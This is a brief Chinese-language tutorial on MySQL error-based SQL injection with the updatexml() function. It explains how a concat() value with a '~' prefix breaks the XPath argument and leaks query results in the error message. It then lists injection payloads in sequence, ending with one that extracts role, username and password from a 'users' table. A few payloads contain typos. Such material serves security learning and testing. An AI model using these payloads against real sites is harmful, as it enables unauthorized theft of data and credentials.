Updatexml()函数“updatexml(XML_document,XPath_string,new_value);”
即sql语句为“select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1”。
XML_documentString格式,为XML文档对象的名称,
DocXPath_stringXpath格式的字符串
new_valueString格式,替换查找到的符合条件的数据
报错注入原理:concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户
0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~。
常见报错注入语句
查询到数据库版本
and (updatexml(1,concat(0x7e,(select version()),0x7e),1))
查询当前数据库
and (updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1))
获取当前数据库表名结构
and (updatexml(1,concat(0x7e (select(select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e),1))
查询该表的字段
and (updatexml(1,concat(0x7e,(select(select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')),0x7e),1))
查询字段中的内容
and (updatexml(1,concat(0x7e,(select(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)),0x7e),1))